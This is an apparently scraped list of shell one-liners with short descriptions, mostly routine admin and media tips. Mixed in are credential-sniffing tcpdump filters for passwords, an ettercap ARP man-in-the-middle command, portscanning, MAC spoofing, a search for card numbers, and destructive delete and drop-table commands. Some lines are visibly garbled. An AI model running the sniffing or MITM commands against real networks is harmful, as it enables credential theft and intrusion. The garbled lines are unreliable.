ps -ef | grep [f]oo | awk '{print $2}' | xargs kill -9
Delete empty, 24-hours-old directories recursively, without consider hidden directories
find . -regex "[^.]*" -depth -empty -type d -mtime +1 -exec rmdir -v {} \;
Jump to a song in your XMMS2 playlist, based on song title/artist
function jumpTo { xmms2 jump `xmms2 list | grep -i '$1' | head -n 1 | tail -n 1 | sed -re 's@.+\[(.+)/.+\] (.+)@\1@'`; }
Recursively create a TAGS file for an entire source tree. TAGS files are useful for editors like Vim and Emacs
ctags -R
Extracts PDF pages as images
convert in.pdf out.jpg
shell equivalent of a boss button
cat /dev/urandom | hexdump -C | highlight ca fe 3d 42 e1 b3 ae f8 | perl -MTime::HiRes -pne "Time::HiRes::usleep(rand()*1000000)"
a function to find the fastest free DNS server
timeDNS () { { for x in "${local_DNS}" "208.67.222.222" "208.67.220.220" "198.153.192.1" "198.153.194.1" "156.154.70.1" "156.154.71.1" "8.8.8.8" "8.8.4.4"; do ({ echo -n "$x "; dig @"$x" "$*"|grep Query ; }|sponge &) done ; } | sort -n -k5 ; }
Create a .png from a command output and upload to ompdlr.org, give URI
omp(){ $*|convert label:@- png:-|curl -sF file1=@- http://ompldr.org/upload | grep -P -o "(?<=File:).*(http://ompldr.org/.*)\<\/a\>" | sed -r 's@.*(http://ompldr.org/\w{1,7}).*@\1@';}
A one-line web server in Ruby
ruby -rwebrick -e'WEBrick::HTTPServer.new(:Port => 3000, :DocumentRoot => Dir.pwd).start'
Prefix every line with a timestamp
any command | sed "s/^/\[`date +"%Y%m%d%H%M%S"`]/"
Search git logs (case-insensitive)
git log -i --grep='needle'
Fast portscanner via Parallel
parallel -j200% -n1 -a textfile-with-hosts.txt nc -vz {} ::: 22
Make a DVD ISO Image from a VIDEO_TS folder on MacOSX
hdiutil makehybrid -udf -udf-volume-name DVD_NAME -o MY_DVD.iso /path/
locate a filename, make sure it exists and display it with full details
locate -e somefile | xargs ls -l
Erase empty files
find . -type f -size 0 -delete
Check syntax of all Perl modules or scripts underneath the current directory
for code in $(find . -type f -name '*.p[ml]'); do perl -c "$code"; done
Use "most" as your man pager
export MANPAGER='most'
flip faster and more precisely through commands saved in history
bash history: modification /etc/inputrc
Automatically create a rar archive
rar a -m0 "${PWD##*/}.rar" *
Change framebuffer font
setfont cybercafe
Kill XMMS for a cron job
pkill xmms
Find a CommandlineFu users average command rating
curl -s www.commandlinefu.com/commands/by/PhillipNordwall | awk -F\> '/num-votes/{S+=$2; I++}END{print S/I}'
Download entire website for offline viewing
$ wget --mirror -p --convert-links -P ./<LOCAL-DIR> <WEBSITE-URL>
Show the UUID of a filesystem or partition
ls /dev/disk* | xargs -n 1 -t sudo zdb -l | grep GPTE_
tcpdump sniff pop3,imap,smtp and http
tcpdump -i eth0 port http or port smtp or port imap or port pop3 -l -A | egrep -i 'pass=|pwd=|log=|login=|user=|username=|pw=|passw=|passwd=|password=|pass:|user:|userna me:|password:|login:|pass |user '
gets your public IP address
echo $(curl http://ipecho.net/plain 2> /dev/null)
A function to find the newest file of a set.
newest () { candidate=''; for i in "$@"; do [[ -f $i ]] || continue; [[ -z $candidate || $i -nt $candidate ]] && candidate="$i"; done; echo "$candidate"; }
Query Wikipedia via console over DNS
mwiki () { dig +short txt `echo $*|sed 's| *|_|g'`.wp.dg.cx; }
TCPDUMP & Save Capture to Remote Server w/ GZIP
tcpdump -i eth0 -w - | ssh forge.remotehost.com -c arcfour,blowfish-cbc -C -p 50005 "cat - | gzip > /tmp/eth0.pcap.gz"
Archive all folders in a directory into their own tar.bz2 file
for i in */; do echo tar -cjf "${i%/}.tar.bz2" "$i"; done
view all lines without comments.
grep -v "^#" file.txt | more
Command line calculator
calc() { python -c "from math import *; print $1"; }
Locate config files of the program
strace -e open zim 2>&1 1>/dev/null | fgrep ~ | fgrep -v "= -1" | cut -d'"' -f2
unbuffered tcpdump
tcp(){ tcpdump -nUs0 -w- -iinterface $1|tcpdump -n${2-A}r- ;} usage: tcp '[primitives]' [X|XX]
Create an alias, store it in ~/.bash_aliases and source your new alias into the ~/.bashrc
echo "alias topu='top -u USERNAME'" >> ~/.bash_aliases && source .bashrc
Command line calculator
python -ic "from __future__ import division; from math import *; from random import *"
Convert current symbolic directory into physical directory
cd -P .
Run CPU benchmark from command line
time echo "scale=5000; 4*a(1)" | bc -l -q
Check whether IPv6 is enabled
printf "IPv6 is "; [ $(cat /proc/sys/net/ipv6/conf/all/disable_ipv6) -eq 0 ] && printf "enabled\n" || printf "disabled\n"
Belgian banking "structured communication"
DATE=`date +"%y%m%d%H%M"`; CHECKSUM=`printf "%02d" $((DATE%97))`; echo $DATE$CHECKSUM |sed -e 's#\([0-9]\{3\}\)\([0-9]\{4\}\)\([0-9]\{5\}\)#+++\1/\2/\3+++#'
Command line calculator
calc() { bc <<< $*; }
Get a file from SharePoint with cURL
curl --ntlm -u DOMAIN/user https://sharepoint.domain.com/path/to/file
Suspend to ram
echo mem|sudo tee /sys/power/state
Perl Command Line Interpreter
cpan Devel::REPL; re.pl
Create a bunch of dummy text files
for i in `seq 1 4096`; do tr -dc A-Za-z0-9 </dev/urandom | head -c8192 > dummy$i.rnd; done
copy remote ssh session output to local clipboard
ssh [remote-machine] "cat file" | xclip -selection c
let the cow suggest some commit messages for you
wget -qO- http://whatthecommit.com/index.txt | cowsay
Download and install the OpenStore on the Ubuntu Phone
wget https://open.uappexplorer.com/api/download/openstore.openstore-team/openstore.*_*_armhf.click && pkcon install-local --allow-untrusted openstore.*_*_armhf.click
sync svn working copy and remote repository (auto adding new files)
svn status | grep '^?' | awk '{ print $2; }' | xargs svn add
Find and delete oldest file of specific types in directory tree
find / \( -name "*.log" -o -name "*.mylogs" \) -exec ls -lrt {} \; | sort -k6,8 | head -n1 | cut -d" " -f8- | tr -d '\n' | xargs -0 rm
Verbosely delete files matching specific name pattern, older than 15 days.
find /backup/directory -name "FILENAME_*" -mtime +15 -exec rm -vf {};
Display network pc "name" and "workgroup"
nmblookup -A <ip>
Spoof your wireless MAC address on OS X to 00:e2:e3:e4:e5:e6
sudo ifconfig en1 ether 00:e2:e3:e4:e5:e6
Recursively execute command on directories (.svn, permissions, etc)
find . -type d -name .svn -exec chmod g+s "{}" \;
Screen enable/disable loggin in all windows
bindkey ^l at "#" log on bindkey ^o at "#" log off
View a colorful logfile using less
combining streams
ll /root/ 2>&1 | grep -E '(psw|password)'
tell if a port is in use
netstat -a --numeric-ports | grep 8321
Check if it's OK to spawn tmux. Bool's Rools.
[[ $DISPLAY != "" ]] && [[ ${TERM%screen*} != "" ]] && tmux attach
Calculate pi with specific scale
echo 'scale=10; 4*a(1)' | bc -l
tail -f a log file over ssh into growl
ssh -t HOSTNAME 'tail -f LOGFILE' | while read; do growlnotify -t "TITLE" -m "$REPLY"; done
Disassemble all ACPI tables on your system
for i in /sys/firmware/acpi/tables/*; do sudo iasl -p $PWD/$(echo $i | cut -d\/ -f6) $i && sudo chown $USER $(echo $i | cut -d\/ -f6); done
Drop all tables from a database, without deleting it
MYSQL="mysql -h HOST -u USERNAME -pPASSWORD -D DB_NAME" ; $MYSQL -BNe "show tables" | awk '{print "set foreign_key_checks=0; drop table `" $1 "`;"}' | $MYSQL unset MYSQL
Quick HTML image gallery from folder contents with Perl
find . | perl -wne 'chomp; print qq|<img src="$_" title="$_" /><br />| if /\.(jpg|gif|png)$/;'> gallery.html
Tail postfix current maillog and grep for "criteria"
tail -f `ls -alst /var/log/maillog* | awk '{print $10} NR>0{exit};0'` | grep "criteria"
Get a list of the erroring cifs entries in fstab
ls $(grep cifs /etc/fstab | grep -v ^!!! Example "|awk ' { print $2 } ') 1>/dev/null
Replace duplicate files by hardlinks
fdupes -r -1 Neu | while read line; do j="0"; buf=""; for file in ${line[*]}; do if [ "$j" == "0" ]; then j="1"; buf=$file; else ln -f $buf $file; fi; done; done
dd with progress bar and remaining time displayed
SIZE=`fdisk -s /dev/sdx`; dd if=/dev/sdx bs=1M | pv -s "$SIZE"k > hdd.img
Print a single route to a destination and its contents exactly as the kernel sees it
ip route get dest_ip
Create a bunch of dummy text files
for i in {1..4096}; do base64 /dev/urandom | head -c 8192 > dummy$i.rnd ; done
Use CreationDate metadata on .mov files to rename and modify the created/modify file dates on Mac
exiftool '-MDItemFSCreationDate<CreationDate' '-FileModifyDate<CreationDate' '-filename<CreationDate' -d %Y-%m-%d_%H-%M-%S%%+c.%%le . -ext mov
Show whats going on restoring files from a spectrum protect backup
watch -n60 -d 'lsof -w /filesysname|grep -v NAME|awk '\''{$7=int($7/1073741824) " GB"; print $7, $9}'\'''
mplayer -vo aa foo.mpg
Play "foo.mpg" in your terminal using ASCII characters
prints message in given argument on on center of screen
function echox { echo `tput cup $(($(tput lines))) $(( ($(tput cols) - $(echo "${#1}"))/2 ))`"$1"`tput cup $(tput lines) $(( $(tput cols)-1 ))`; }
Print a random 8 digit number
jot -s '' -r -n 8 0 9
Find dead symbolic links
find . -type l | perl -lne 'print if ! -e'
Display the output of a command from the first line until the first instance of a regular expression.
command | sed '/regex/q'
Get acurate memory usage of a Process in MegaBytes
pmap $(pgrep [ProcessName] -n) | gawk '/total/ { a=strtonum($2); b=int(a/1024); printf b};'
Get MAC address
ifconfig | awk '/^eth0/ {print $5}'
Backup trought SSH
tar cvzf - /wwwdata | ssh root@IP "dd of=/backup/wwwdata.tar.gz"
Find installed network devices
sudo lshw -C network
php show list pdo module
php -m|grep pdo
Export all Mailman mailing lists Members to separate .txt files
list_lists | awk 'NR > 1 && $1!="Mailman" && $1!="Test" {print "list_members "$1" > "$1".txt"}' | bash
IBM AIX: Extract a .tar.gz archive in one shot
gunzip -c file.tar.gz | tar -xvf -
run command on a group of nodes in parallel
echo -n m{1..5}.cluster.net | xargs -d' ' -n1 -P5 -I{} ssh {} 'uptime'
reset an hanging terminal session
^J tput sgr0 ^J
Test http request every second, fancy display.
watch -n 1 nc localhost 80 '<<EOF GET / HTTP/1.1 Host: tux-ninja Connection: Close EOF'
Go up multiple levels of directories quickly and easily.
alias ..="cd .."; alias ...="cd ../.."; alias ....="cd ../../.."
let a cow tell you your fortune
cowsay $(fortune)
full path listing in /directory/path/* of javascript files.
tree -fi /directory/path/* | grep "\.js"
Short URL to commandlinefu.com commands
lynx cmdl.in/9058
Stripping ^M at end of each line for files
tr -d '\r' <dos_file_to_be_converted >converted_result
print/scan lines starting at record ###
tail +##!!! Example "MYFILE
Get the SAN (subjectAltName) of a site's certificate.
echo "quit" | openssl s_client -connect facebook.com:443 | openssl x509 -noout -text | grep "DNS:" | perl -pe "s/(, )?DNS:/\n/g"
Start a game on the discrete GPU (hybrid graphics)
alias game='DRI_PRIME=1'
dump 1KB of data from ram to file
dd if=/dev/mem of=file.dump bs=1024 skip=0 count=1
gain all mp3s in subfolders w/o encoding
find . -type f -iname '*.mp3' -print0 | xargs -0 mp3gain -r -k
Lists all listening ports together with the PID of the associated process
netstat -anpe
Kill google chrome process
for i in $(ps x | grep chrome | cut -d"?" -f1 | grep -v chrome); do kill -9 $i ; done
Url Encode
od -An -w999 -t xC <<< "$1" | sed 's/[ ]\?\(c[23]\) \(..\)/%\1%\2/g;s/ /\\\\\x/g' | xargs echo -ne
translate with google, get all translations
translate() { echo $1: $(wget -q -O - 'http://www.google.de/dictionary?source=translation&q='$1'&langpair=en|de' | grep '^<span class="dct-tt">.*</span>$' | sed 's!<span class="dct-tt">\(.*\)</span>!\1, !'); }
AWK: Set Field Separator from command line
awk -F, '{print $1" "$2" "$NF}' foo.txt
What is the use of this switch ?
manswitch() { man $1 | grep -A5 "^ *\-$2"; }
Print all lines in a file that are not a certain length
awk 'length($0)!=12 {print}' your_file_name
Scan for [samba|lanman] NetBIOS names and ip addresses in LAN by ARP.
arp-scan -I eth0 -l | perl -ne '/((\d{1,3}\.){3}\d{1,3})/ and $ip=$1 and $_=`nmblookup -A $ip` and /([[:alnum:]-]+)\s+<00>[^<]+<ACTIVE>/m and printf "%15s %s\n",$ip,$1'
Find all videos under current directory using MIME a.k.a not using extension
allVideos() { find ./ -type f -print0 | xargs -0 file -iNf - | grep ": video/" | cut -d: -f1; }
connects to db2 database instance/alias "stgndv2" user "pmserver" using password "xxxxxxx"
db2 CONNECT TO stgndv2 USER pmserver USING ********
Fixes Centos 6.2 yum's metalink certificate errors
curl http://curl.haxx.se/ca/cacert.pem -o /etc/pki/tls/certs/ca-bundle.crt
Reboot without being root
dbus-send --system --print-reply --dest=org.freedesktop.ConsoleKit /org/freedesktop/ConsoleKit/Manager org.freedesktop.ConsoleKit.Manager.Restart
Find directories over 50MB in the home directory
du -k ~/* | awk '$1 > 50000' | sort -nr
burn initial session on a growable DVD using growisofs
growisofs -Z /dev/dvd -J -r "directory name to burn on DVD"
Pipe the result of a command to IRC (channel or query)
function my_irc { tmp=`mktemp`; cat > $tmp; { echo -e "USER $username x x :$ircname\nNICK $nick\nJOIN $target"; while read line; do echo -e "PRIVMSG $target :$line"; done < $tmp; } | nc $server > /dev/null ; rm $tmp; }
find all writable (by user) files in a directory tree (use 4 for readable, 1 for executable)
find . -type f -perm +200 -print
Suspend to ram
dbus-send --system --print-reply --dest=org.freedesktop.UPower /org/freedesktop/UPower org.freedesktop.UPower.Suspend
Mount FileVault sparsebundle image manually (e.g.: from TimeMachine disk).
hdiutil mount -owners on -mountrandom /tmp -stdinpass /path/to/my.sparsebundle
print character classes
pcharc(){ perl -e 'for (0..255) {$_ = chr($_); print if /['$1']/}' | cat -v; echo;}
List your interfaces and MAC addresses
ifconfig | grep HWaddr | awk '{print $1,$5}'
Make .bashrc function to backup the data you changed last houres
echo "function backup() { local CA=c T=${TMPDIR:+/tmp}/backup.tar.gz; [[ -f $T ]]&& C=r; find ~ -type f -newer $T | tar ${CA}vfz $T -T - ;}" >> ~/.bashrc
Create backup copy of file, adding suffix of the date of the file modification (NOT today's date)
cp file{,.$(date -d @$(stat -c '%Y' file) "+%y%m%d")}
generate random number
echo $RANDOM
Resolve the "all display buffers are busy, please try later" error on a Foundry
dm display-buffer reset
Enable verbose boot in Mac OS X Open Firmware
sudo nvram boot-args="-v"
Command to logout all the users in one command
who -u | grep -vE "^root " | kill `awk '{print $6}'`
swap the java version being used
sudo update-alternatives --config java
Read null character seperated fields from a file
read -d ""
Copy/move a bunch of files to dot files and back
rename s/^/./ *
delay: a simple scheduler
delay until 16 && import_db.sh
Get count of kilobytes brew cleanup would free
brew cleanup -n | awk '{print $3}' | xargs du -s | awk '{s+=$1} END {print s}'
execute a command in case of success or execute a command in case of failure
cmd1 && cmd2 && echo success || echo epic fail
Compare a remote file with a local file
test "$(md5sum /local/file | cut -d' ' -f1)" == "$(ssh root@xen -- md5sum /remote/file | cut -d' ' -f1)" && echo "Match" || echo "Differ"
Print all open regular files sorted by the number of file handles open to each.
sudo lsof | egrep 'w.+REG' | awk '{print $10}' | sort | uniq -c | sort -n
USE WITH CAUTION: perminately delete old kernel packages
sudo apt-get remove --purge $(dpkg -l 'linux-*' | sed '/^ii/!d;/'"$(uname -r | sed "s/\(.*\)-\([^0-9]\+\)/\1/")"'/d;s/^[^ ]* [^ ]* \([^ ]*\).*/\1/;/[0-9]/!d')
unrar all part1 files in a directory
ls -1 *.part1.rar | xargs -d '\n' -L 1 unrar e
get a mysqldump with a timestamp in the filename and gzip it all in one go
mysqldump [options] |gzip ->mysqldump-$(date +%Y-%m-%d-%H.%M.%S).gz
create and md5 sum of your password
read -s p && echo -n $p | md5sum;p=
Set GIT_COMMITTER_DATE = GIT_AUTHOR_DATE for all the git commits
git filter-branch --env-filter 'export GIT_COMMITTER_DATE="$GIT_AUTHOR_DATE"'
Check if hardware is 32bit or 64bit
cat /proc/cpuinfo | grep " lm " > /dev/null && echo 64 bits || echo 32 bits
A bash timer
alias timer='export ts=$(date +%s);p='\''$(date -u -d @"$(($(date +%s)-$ts))" +"%H.%M.%S")'\'';watch -n 1 -t banner $p;eval "echo $p"'
Find longest running non-root processes on a machine
ps -eo etime,pid,pcpu,ppid,args | sed -e '/\[.\+\]/d' -e '/^[ \t]*[0-9]\{2\}:[0-9]\{2\} /d' | sort -k1r
eDirectory LDAP Search for Statistics
ldapsearch -h ldapserver.willeke.com -p389 -b "" -s base -D cn=admin,ou=administration,dc=willeke,dc=com -w secretpwd "(objectclass=*)" chainings removeEntryOps referralsReturned listOps modifyRDNOps repUpdatesIn repUpdatesOut strongAuthBinds addEntryOps
one-liner mpc track changer using dmenu
mpc play $(sed -n "s@^[ >]\([0-9]\+\)) $(mpc playlist|cut -d' ' -f3-|dmenu -i -p 'song name'||echo void)@\1@p" < <(mpc playlist))
Comment out all lines in a file beginning with string
sed -i 's/^\(somestring\)/#\1/' somefile.cfg
Given $PID, print all child processes on stdout
ps uw --ppid $PID
View the current number of free/used inodes in a file system
df -i <partition>
delete file name space
find . -type f -print0 | xargs -0 rename 's/\ //g'
underscore to camelCase
echo "hello_world" | sed -r 's/([a-z]+)_([a-z])([a-z]+)/\1\U\2\L\3/'
Open the current project on Github by typing gh
git remote -v | grep fetch | sed 's/\(.*github.com\)[:|/]\(.*\).git (fetch)/\2/' | awk {'print "https://github.com/" $1'} | xargs open
Count the number of characters in a string from the standard input.
echo -n "foo" | wc -c
tar+pbzip2 a dir
tar --exclude='patternToExclude' --use-compress-program=pbzip2 -cf 'my-archive.tar.bz2' directoyToZip/
Print all open regular files sorted by the number of file handles open to each.
find /proc/*/fd -xtype f -printf "%l\n" | grep -P '^/(?!dev|proc|sys)' | sort | uniq -c | sort -n
Ping a range of addresses
nmap -sP -T Insane 192.168.1.1-254
Simple addicting bash game.
while $8;do read n;[ $n = "$l" ]&&c=$(($c+1))||c=0;echo $c;l=$n;done
Print the IP address and the Mac address in the same line
ifconfig | head -n 2 | tr -d '\n' | sed -n 's/.*\(00:[^ ]*\).*\(adr:[^ ]*\).*/mac:\1 - \2/p'
Display something when an X app fails
xlaunch(){ T=/tmp/$$;sh -c "$@" >$T.1 2>$T.2;S=$?;[ $S -ne 0 ]&&{ echo -e "'$@' failed with error $S\nSTDERR:\n$(cat $T.2)\nSTDOUT:\n$(cat $T.1)\n"|xmessage -file -;};rm -f $T.1 $T.2;}
sum numbers in the file (or stdin)
echo $(($(tr '\n' '+')0))
commentate specified line of a file
sed -i '<line_no>s/\(.*\)/#\1/' <testfile>
List files with full path
ls -d $PWD/*
Automaticly cd into directory
shopt -s autocd
Shows what an RPM was compiled with.
rpm -q --queryformat="%{NAME}: %{OPTFLAGS}\n" <rpm>
Disconnect a wireless client on an atheros-based access point
iwpriv ath<x> kickmac <macaddress>
Update pandoc via cabal
cabal update && cabal install pandoc
Show URL/text in clipboard as QR code
xclip -o -sel clipboard | qrencode -o - | xview stdin
play audio stream and video stream in two different mplayer instances
mplayer test.mp3 < /dev/null & mplayer test.avi -nosound -speed 1.0884
Automatically download Ubuntu 10.04 when available
while true; do if wget http://releases.ubuntu.com/10.04/ubuntu-10.04-desktop-i386.iso.torrent; then ktorrent --silent ubuntu-10.04-desktop-i386.iso.torrent ; date; break; else sleep 5m; fi; done
Join lines
awk 'BEGIN{RS="\0"}{gsub(/\n/,"<SOMETEXT>");print}' file.txt
BASH: Print shell variable into AWK
MyVAR=86; awk -v n=$MyVAR '{print n}'
list all files in a directory, sorted in reverse order by modification time, use file descriptors.
ls -Fart
Remove BOM (Byte Order Mark) from text file
awk '{if(NR==1)sub(/^\xef\xbb\xbf/,"");print}' text.txt > newFile.txt
Kill process by pid
taskkill /pid 10728
Check the hard disk vendor and model on Apple Mac
diskutil info /dev/disk0 | grep 'Device / Media Name'
Get a facebook likes quantity from CLI
curl - https://graph.facebook.com/fql?q=SELECT%20like_count,%20total_count,%20share_count,%20click_count,%20comment_count%20FROM%20link_stat%20WHERE%20url%20=%20%27<URL>%27 | awk -F\" '{ print $7 }' | awk -F":" '{ print $2 }' | awk -F"," '{ print $1 }'
Grab the top 5 CLFUContest one-liners
curl -sL http://goo.gl/3sA3iW | head -16 | tail -14
Parse m3u playlist file for total time
awk -F":|," '{RS="#"; sec+=$2}END{h=(sec/3600);m=((sec/60) % 60);s=(s;printf("%02d:%02d:%02d\n", h, m, s)}' file.m3u
Equivalent to ifconfig -a in HPUX
for i in `lanscan -i | awk '{print $1}'` ; do ifconfig $i ; done
SoX recording audio and trimming silence
sox -t alsa default ./recording.flac silence 1 0.1 5% 1 1.0 5%
Count the number of deleted files
find /path/folder -type f -name "*.*" -print -exec rm -v {} + | wc -l;
no !!! Example "comments, blank lines, white space. !!! Example "can start in any column
alias noc="awk 'NF && ! /^[[:space:]]*#/'"
Exit mc with 2 keystrokes
<ctrl+o><ctrl+d>
Create a progress bar over entire window until we count to 1000
seq 1000 |parallel -j30 --bar '(echo {};sleep 0.1)'
List hostnames of all IPs
for IP in $(/sbin/ifconfig | fgrep addr: | sed 's/.*addr:\([[0-9.]*\) .*/\1/') ; do host $IP | awk '{print $5}'; done
convert wav into mp3 using lame
lame -V2 rec01.wav rec01.mp3
Downlaoad websites to 5 level and browse offline!
wget -k -r -l 5 http://gentoo-install.com
convert binary data to shellcode
hexdump -v -e '"\\""x" 1/1 "%02x" ""' <bin_file>
Google dictionary of word definitions
wget -qO - "http://www.google.com/dictionary/json?callback=dict_api.callbacks.id100&q=steering+wheel&sl=en&tl=en&restrict=pr,de&client=te" | sed 's/dict_api\.callbacks.id100.//' | sed 's/,200,null)//'
diff color words
git diff --color-words file1 file2
Remove git branches that do not have a remote tracking branch anymore
git branch -r | awk '{print $1}' | egrep -v -f /dev/fd/0 <(git branch -vv | grep origin) | awk '{print $1}' | xargs git branch -d
Create thumbnails and a HTML page for listing them (with links to sources)
mogrify -format gif -auto-orient -thumbnail 250x90 '*.JPG'&&(echo "<ul>";for i in *.gif;do basename=$(echo $i|rev|cut -d. -f2-|rev);echo "<li style='display:inline-block'><a href='$basename.JPG'><img src='$basename.gif'></a>";done;echo "</ul>")>list.html
CLFUContest : Check which process consume more than 10% of the cpu (configurable)
pidstat -t | sed 's/,/./4' | awk -v seuil='10.0' '{if (NR>3 && $8>seuil) print }'
Generate SHA1 hash for each file in a list
ls [FILENAME] | xargs openssl sha1
Daily watch "question pour un champion" (French TV show)
kaffeine $(wget -qO- "http://questions-pour-un-champion.france3.fr/emission/index-fr.php?page=video&type_video=quotidiennes&video_courante=$(date +%Y%m%d)" | grep -o "mms.*wmv" | uniq)
Find the biggest files on your hard drive
find / -type f -size +500000k -exec ls -lh {} \; | awk '{ print $9 ": " $5 }'
start a VNC server for another user
su -c "vncserver -depth 32 -geometry 1024x768" username
Get the next weekday for an 'at' command
if [ $(date +%u) -lt 6 ];then AT="tomorrow"; else AT="next monday";fi;echo "beep" | at ${AT}
Renames all files in the current directory such that the new file contains no space characters.
for file in *; do mv -v "$file" "$(sed 's/ //g' <(echo $file))"; done
Network traffic on NICs in mbps without sar, iperf, etc…
RX1=`cat /sys/class/net/${INTERFACE}/statistics/rx_bytes` (see script below)
Remove grep itself from ps
ps afx|grep [a]pache
Extract domain from URl
ruby -ruri -e 'u=URI(ARGV[0]).host.split("."); puts u[(u[-2] =~ /^com?$/ ? -3 : -2)..-1].join(".")' http://test.example.com
Download Video & extract only a specific Time of it
fmpeg $(yt-dlp -g 'https://de.pornhub.com/view_video.php?viewkey=ph637366806d6eb' | sed 's/^/-ss 00:05 -i /') -t 01:00 -c copy out.mp4
print code 3-up and syntax-highlighted for easy beach-time study
enscript -E -B -3 -r -s 0 --borders -fCourier4.8 --mark-wrapped-lines=arrow
for x in psql -e\l | awk '{print $1}'| egrep -v "(^List|^Name|\-\-\-\-\-|^\()"; do pg_dump -C \(x | gzip > /backups/\)x-back.gz
for x in `psql -e\l | awk '{print $1}'| egrep -v "(^List|^Name|\-\-\-\-\-|^\()"`; do pg_dump -C $x | gzip > /var/lib/pgsql/backups/$x-nightly.dmp.gz; done
Creates Solaris alternate boot environment on another zpool.
lucreate -n be1 [-c be0] -p zpool1
VIM subst any char different from literal " + EOL with searched string + white space
:%s/\([^\"]\)\(\n\)/\1 /g
Get all IPs via ifconfig
ifconfig | awk '/inet / {sub(/addr:/, "", $2); print $2}'
Clean config from !!! Example "and empty strings
egrep -v '(\t)?#.*|^$' /etc/apache2/sites-available/default
Delete an IPtable rules based on row number
iptables -L -vnx --line-numbers; iptables -t nat -D <chain-name> <number>
generate a telephone keypad
echo {1..9} '* 0 #' | tr ' ' '\n' |paste - - -
Should I be sleeping?
[ $(date +"%H") -lt 7 ] && echo you should probably be sleeping...
Add temporary entry to authorized_keys
Keys=$HOME/.ssh/authorized_keys;Back=$Keys.tmp.bak;Time=${1:-15};cp $Keys $Back;cat /dev/stdin >>$Keys;echo mv $Back $Keys|at now+${Time}minutes;
Get the ip registered to a domain on OpenWRT
nslookup commandlinefu.com|sed 's/[^0-9. ]//g'|tail -n 1|awk -F " " '{print $2}'
Grep auth log and print ip of attackers
egrep 'Failed password for invalid' /var/log/secure | awk '{print $13}' | uniq
gvim in full screen (execute again to toggle full screen on/off)
:exe "!wmctrl -r ".v:servername." -b toggle,fullscreen"
Remove multiple spaces
sed "s/^ *//;s/ *$//;s/ \{1,\}/ /g" filename.txt
list files in 'hitlar' mode
ls -Fhitlar
search office documents for credit card numbers and social security number SSN docx xlsx
find . -iname "*.???x" -type f -exec unzip -p '{}' '*'
List files in directory tree with newest last
find <directory> -type f -printf "%T@\t%p\n"|sort -n|cut -f2|xargs ls -lrt
Append a pub key from pem file and save in remote server accessing with another key
ssh-keygen -y -f user-key.pem | ssh user@host -i already_on_remote_server_key.pem 'cat >> ~/.ssh/authorized_keys'
Find files with the same names in several directories.
ls -1 . dir2 dir3|sort|uniq -d
Get the size of all the directories in current directory
sudo du -sh $(ls -d */) 2> /dev/null
Open-iscsi target discovery
iscsiadm -m discovery -t sendtargets -p 192.168.20.51
Convert PDF to JPEG using Ghostscript
gs -dNOPAUSE -sDEVICE=jpeg -r144 -sOutputFile=p%03d.jpg file.pdf
Lines per second in a log file
tail -n0 -f access.log>/tmp/tmp.log & sleep 10; kill $! ; wc -l /tmp/tmp.log
create a new script, automatically populating the shebang line, editing the script, and making it executable.
shebang() { if i=$(which $1); then printf '#!%s\n\n' $i > $2 && vim + $2 && chmod 755 $2; else echo "'which' could not find $1, is it in your \$PATH?"; fi; }
Alternative for basename using grep to extract file name
fileName(){ echo ${1##*/}; }
Swap a file or dir with quick resotre
mv public_html{,~~} && mv public_html{~,} && mv public_html{~~,~}
copy string to clipboard
pwd | xclip
Shows size of dirs and files, hidden or not, sorted.
du --max-depth=1 -h * |sort -h -k 1 |egrep '(M|G)\s'
Run a command when a file is changed
while :; do n=$(md5 myfile); if [ "$h" != "$n" ]; then h=$n; scp myfile myserver:mydir/myfile; fi; sleep 1; done
a function to find the fastest DNS server
curl -s http://public-dns.info/nameserver/br.csv| cut -d, -f1 | xargs -i timeout 1 ping -c1 -w 1 {} | grep time | sed -u "s/.* from \([^:]*\).*time=\([^ ]*\).*/\2\t\1/g" | sort -n | head -n1
sort list of email addresses by domain.tld
sort -t@ -k2 emails.txt
complete extraction of a debian-package
dpkg-deb -x $debfile $extractdir; dpkg-deb -e $debfile $extractdir/DEBIAN;
Get a funny one-liner from www.onelinerz.net
w3m -dump_source http://www.onelinerz.net/random-one-liners/1/ | awk ' /.*<div id=\"oneliner_[0-9].*/ {while (! /\/div/ ) { gsub("\n", ""); getline; }; gsub (/<[^>][^>]*>/, "", $0); print $0}'
Using vim to save and run your python script.
vim ... :nmap <F5> :w^M:!python %<CR>
A command to copy mysql tables from a remote host to current host via ssh.
ssh username@remotehost 'mysqldump -u <dbusername> -p<dbpassword> <dbname> tbl_name_1 tbl_name_2 tbl_name_3' | mysql -u <localusername> -p<localdbpassword> <localdbname> < /dev/stdin
Quickly create an alias for changing into the current directory
map() { if [ "$1" != "" ]; then alias $1="cd `pwd`"; fi }
Lookup errno defintions
perl -MPOSIX -e 'print strerror($ARGV[0])."\n";' ERRNO
Extract .tar.lzma archive
tar --lzma -xvf /path/to/archive
Reload all sysctl variables without reboot
/sbin/sysctl -p
Batch convert PNG to JPEG
for i in *.png; do convert "$i" "${i%.png}.jpg" && rm "$i" && echo "$i is converted."; done
ettercap..
ettercap -i ${interface} -P ${plugin} -Tq -M ARP:REMOTE // // -m ${PurloinedData}.log
Extract multiple tar files at once in zsh
tar -xi < *.tar
zsh suffix to inform you about long command ending
alias -g R=' &; jobs | tail -1 | read A0 A1 A2 cmd; echo "running $cmd"; fg "$cmd"; zenity --info --text "$cmd done"; unset A0 A1 A2 cmd'
Cut flv video from minute 19 to minute 20 using flvtool2
flvtool2 -C -i 1140000 -o 1200000 input output
Create a CD/DVD ISO image from disk.
cp /dev/cdrom file.iso
Hide files in ls, by adding support for .hidden files!
alias ls='if [[ -f .hidden ]]; then while read l; do opts+=(--hide="$l"); done < .hidden; fi; ls --color=auto "${opts[@]}"'
print text in color red
printTextInColorRed () { echo -e '\033[01;31m\033[K'"$@"'\033[m\033[K' ;} #!!! Example "print text/string in color red
Replace spaces in filename
for i in *\ *; do if [ -f "$i" ]; then mv "$i" ${i// /_}; fi; done
List files with full path
echo $PWD/*
show each new entry in system messages as a popup
tail -n0 -f /var/log/messages | while read line; do notify-send "System Message" "$line"; done
convert png into jpg using imagemagick
for img in *.png; do convert "$img" "$img.jpg" ; done
Open screen on the previous command
screen !!
ssh autocomplete based on ~/.ssh/config
complete -o default -o nospace -W "$(grep -i -e '^host ' ~/.ssh/config | awk '{print substr($0, index($0,$2))}' ORS=' ')" ssh scp sftp
Alert on high ping to know if it's really laggy while playing
while :; do a=$(fping -e google.de | grep -o '[0-9]+.[0-9]+'); [[ $a > 40 ]] && say "ping is $a"; sleep 3; done
pipe commands from a textfile to a telnet-server with netcat
nc $telnetserver 23 < $commandfile
